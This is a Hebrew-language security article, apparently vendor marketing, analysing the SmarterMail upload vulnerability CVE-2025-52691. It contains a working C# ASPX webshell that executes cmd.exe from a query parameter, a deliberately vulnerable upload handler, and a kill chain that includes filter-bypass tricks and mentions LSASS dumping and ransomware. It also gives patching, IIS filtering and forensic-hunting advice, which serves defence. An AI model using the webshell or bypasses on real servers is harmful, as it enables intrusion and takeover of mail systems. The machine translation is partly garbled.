כשהשעון מתקתק לקראת שנת 2025, קהילת אבטחת הסייבר ניצבת בפני אתגר אחרון וקטסטרופלי. ב-30 בדצמבר פרסמה הסוכנות לאבטחת סייבר של סינגפור (CSA) התראה קריטית בנוגע ל CVE-2025-52691, פגיעות ב SmarterTools SmarterMail שנושא את דירוג החומרה המרבי: CVSS 10.0.
עבור חברי צוות Red Team, פגיעות זו מייצגת את "גביע הקודש": העלאת קבצים שרירותית ללא אימות מוביל ישירות אל ביצוע קוד מרחוק (RCE) כמו מערכת. עבור צוותי Blue Teams ומנהלי מערכות, מדובר באיום מיידי וקיומי על שלמות תשתית התקשורת הארגונית שלהם.
זהו לא עקיפה תיאורטית או מצב תחרות מורכב. זוהי תקלה ארכיטקטונית בסיסית בטיפול בקלט. מאמר זה מספק ניתוח פורנזי של הפגיעות, ומפרט כיצד נקודות הקצה של .NET נכשלות, כיצד IIS מטפל במטענים זדוניים וכיצד אבטחה מודרנית המונעת על ידי בינה מלאכותית יכולה לזהות איומים אלה לפני שהם הופכים לנשק.
נוף האיומים: מדוע CVE-2025-52691 שונה
SmarterMail היא חלופה נפוצה ל-Exchange, המועדפת במיוחד על ידי MSPs (ספקי שירות מנוהלים) וארגונים בינוניים. היא פועלת על Windows/IIS/.NET stack. בניגוד לשרתי דואר מבוססי לינוקס, שבהם הרשאות עשויות להגביל את הנזק שנגרם מהעלאת קובץ, סביבות Windows IIS ידועות כבלתי סלחניות.
כרטיס מודיעין פגיעות
| מטרי | פרטי מודיעין |
|---|---|
| מזהה CVE | CVE-2025-52691 |
| סוג הפגיעות | העלאת קבצים ללא הגבלות (CWE-434) |
| וקטור התקפה | רשת (מרחוק) |
| זכויות נדרשות | אין (לא מאומת) |
| אינטראקציה עם המשתמש | אף אחד |
| בניות מושפעות | SmarterMail 9406 ומטה |
| תיקון | עדכן מיד לגרסה 9413+ |
הסכנה כאן היא משטח התקפה. שרתים דואר, על פי הגדרתם, חשופים לאינטרנט הציבורי. פגיעות הדורשת אימות אפס ומספקת מעטפת יציבה פירושה שרשתות בוטים אוטומטיות יכולות לפגוע באלפי שרתים בתוך שעות ספורות מרגע פרסום ה-PoC.

ניתוח טכני מעמיק: המכניקה של הפגם
כדי להבין כיצד פועל CVE-2025-52691, עלינו לנתח את אופן הטיפול של SmarterMail בבקשות HTTP. הפגיעות נמצאת בנקודת קצה API ספציפית שנועדה לטפל בקבצים מצורפים או בהעלאות של משתמשים.
"שומר הסף" החסר
ביישום .NET מאובטח, כל פעולת בקר המטפלת בקבצים צריכה להיות מעוטרת ב- [אשר] תכונות ולוגיקת אימות קבצים קפדנית. CVE-2025-52691 קיים מכיוון שמטפל ספציפי — ככל הנראה מטפל גנרי .ashx מטפל או נתיב REST API — נחשף ללא בדיקות אלה.
כאשר בקשת POST מגיעה לנקודת קצה זו, השרת מעבד את multipart/form-data זרם.
תבנית הקוד הפגיע (משוחזרת)
אמנם קוד המקור המדויק הוא קנייני, אך אנו יכולים לשחזר את דפוס הפגיעות בהתבסס על סוגי פגיעות .NET סטנדרטיים. הפגם דומה ככל הנראה ללוגיקה C# הבאה:
C#
`public class LegacyUploadHandler : IHttpHandler { public void ProcessRequest(HttpContext context) { // פגם קטלני: אין בדיקת הפעלה או אימות // if (context.Session[“User”] == null) return; <— חסר
HttpPostedFile file = context.Request.Files["upload"]; string fileName = file.FileName; // פגם קטלני: אמון בקלט המשתמש עבור נתיבי קבצים // אין בדיקת רשימת הלבנים עבור .aspx, .exe, .config string savePath = context.Server.MapPath("~/App_Data/Temp/" + fileName);
file.SaveAs(savePath); }
}`
צינור הביצוע של IIS
מדוע העלאת קובץ היא פעולה קטלנית? ב-PHP, ייתכן שתצטרך להתעסק עם .htaccess. ב-Python, אי אפשר פשוט להעלות סקריפט ולהריץ אותו. אבל ב- ASP.NET פועל ב-IIS, ההתנהגות שונה.
אם תוקף יכול למקם קובץ עם .aspx או .ashx הרחבה לספרייה המאפשרת ביצוע סקריפטים (שהיא ברירת המחדל ברוב ספריות האינטרנט), תהליך העבודה של IIS (w3wp.exe) יקמפל את הקובץ הזה בדיוק בזמן (JIT) עם הבקשה הראשונה ב-HTTP אליו.
- התוקף מעלה קבצים
shell.aspx. - בקשות התוקף
GET /App_Data/Temp/shell.aspx. - IIS רואה את ההרחבה, קורא ל-CLR (Common Language Runtime).
- CLR מרכז את הקוד בפנים
shell.aspxומבצע אותו. - RCE הושג.

שרשרת ההרג: מהגילוי ועד מעטפת ה-SYSTEM
עבור מהנדס אבטחה המדמה מסלול תקיפה זה, שרשרת ההשמדה כוללת ארבעה שלבים נפרדים.
שלב 1: סיור
התוקף סורק את טביעת האצבע של SmarterMail.
- כותרות:
שרת: Microsoft-IIS/10.0,X-Powered-By: ASP.NET - כותרת:
כניסה ל-SmarterMail - בדיקת נקודות קצה: Fuzzing עבור נקודות קצה ידועות להעלאה כמו
/api/v1/settings/upload,/FileStorage/Upload.ashx, או נקודות קצה SOAP ישנות.
שלב 2: הפיכתו לנשק
התוקף יוצר "Webshell". מטען קלאסי של C# webshell נראה כך:
<%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <script runat="server"> protected void Page_Load(object sender, EventArgs e) { if (!string.IsNullOrEmpty(Request.QueryString["cmd"])) { Process p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + Request.QueryString["cmd"]; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.Start(); Response.Write(p.StandardOutput.ReadToEnd()); p.WaitForExit(); } } </script>
שלב 3: ביצוע (הניצול)
התוקף שולח את בקשת ה-POST.
- טכניקת עקיפה: אם השרת בודק את סוגי התוכן, התוקף משנה את הכותרת ל-
סוג תוכן: image/jpeg. אם השרת בודק הרחבות אך יש בו שגיאה לוגית (למשל, בדיקה של 3 התווים הראשונים בלבד), התוקף משתמש ב-shell.aspx.jpgאו טריקים של זרם נתונים חלופי NTFS (shell.aspx::$DATA).
שלב 4: ניצול
התוקף ניגש למעטפת:
https://mail.target.com/shell.aspx?cmd=whoami
תגובה: רשות\\מערכת
בשלב זה, המשחק נגמר. התוקף יכול לשפוך את תהליך LSASS כדי להשיג אישורי מנהל, להתקין תוכנת כופר או לעבור לבקר התחום.
תפקידה של הבינה המלאכותית באיתור פגמים לוגיים: הגישה הפנליגנטית
כלי DAST (בדיקות אבטחת יישומים דינמיות) מסורתיים ידועים כגרועים באיתור CVE-2025-52691 באגים בסגנון. מדוע?
- עיוורון קונטקסטואלי: סורקים מסתמכים על זחילת קישורים. נקודות קצה API שאינן מקושרות ב-HTML (נקודות קצה מוסתרות) אינן נראות להם.
- פחד מהרס: הסורקים מהססים להעלות קבצים מחשש לפגיעה ביישום או להתראה למנהלים.
זה המקום שבו Penligent.ai מייצג שינוי פרדיגמה עבור צוותי אבטחה התקפית. Penligent עושה שימוש ב- ניתוח לוגי מבוסס בינה מלאכותית במקום התאמת תבניות פשוטה.
- גילוי הבלתי ניתן לגילוי
סוכני Penligent מנתחים חבילות JavaScript בצד הלקוח ו-DLLs מהודרים (אם הם נגישים) כדי לשחזר את מפת ה-API. הם מסיקים על קיומם של מטפלי העלאה שאינם מקושרים באופן מפורש, ובכך מוצאים את "API הצללים" שבהם מסתתרות פגיעויות כמו CVE-2025-52691.
- הוכחה לא הרסנית לניצול
במקום להעלות קובץ webshell זדוני, Penligent מייצר קובץ Benign Marker File (למשל, קובץ טקסט עם hash ייחודי ואקראי). הוא מנסה להעלות את הקובץ ואז מוודא אם ניתן לאחזר את ה-hash הספציפי הזה באמצעות URL ציבורי. פעולה זו מאשרת את פגיעות העלאת הקבצים ללא הגבלות (CWE-434) בוודאות של 100% וללא סיכון של RCE או שיבוש בשירות.
עבור CISO, משמעות הדבר היא ההבדל בין דוח סיכונים תיאורטי בדרגת "בינוני" לבין ממצא מאומת בדרגת "קריטי" המחייב תיקון מיידי.
אסטרטגיית תיקון וחיזוק
אם אתה מפעיל את SmarterMail, אתה נמצא במרוץ נגד הזמן.
- תיקון מיידי
שדרג מיד לגרסה 9413. SmarterTools יישמה בדיקות אימות קפדניות ואימות סיומות קבצים מבוסס רשימת היתרים בגרסה זו.
- סינון בקשות IIS (הקלה זמנית)
אם אינך יכול להתקין את התיקון באופן מיידי, עליך לחסום את וקטור ההתקפה ברמת שרת האינטרנט. השתמש בסינון בקשות IIS כדי למנוע גישה לקבצי .aspx בספריות העלאה.
- פעולה: במנהל IIS -> סינון בקשות -> הכרטיסייה URL -> רצף דחייה.
- כלל: חסום בקשות ל
/App_Data/*.aspxאו/FileStorage/*.aspx.
- ציד פורנזי
הנח שאתה כבר נפגעת. חפש במערכת הקבצים את:
- קבצים המסתיימים ב-
.aspx,.ashx,.cer,.סבוןנוצר בין ה-29 בדצמבר להיום. - יומני IIS (
u_ex*.log) עבור בקשות POST להעלאת נקודות קצה שמגיעות מכתובות IP לא ידועות, ואחריהן מיד בקשות GET לקבצים חדשים.
סיכום
CVE-2025-52691 מהווה תזכורת חדה לכך שבעולם התוכנה, הנוחות לעתים קרובות באה על חשבון האבטחה. בדיקת אימות אחת חסרה במנהל העלאת קבצים "משני" עלולה להפוך מיליוני דולרים שהושקעו בחומת אש וב-EDR למיותרים.
ככל שנתקדם לעבר שנת 2026, מורכבות ההתקפות רק תגדל. מהנדסי אבטחה חייבים לעבור משימוש ברשימות בדיקה ידניות לאימוץ כלים אוטומטיים וחכמים לאימות. בין אם מדובר בתיקון תוכנה הלילה או בפריסת בדיקות מבוססות בינה מלאכותית מחר, המטרה נשארת זהה: לסגור את הדלת לפני שהיריב ייכנס.

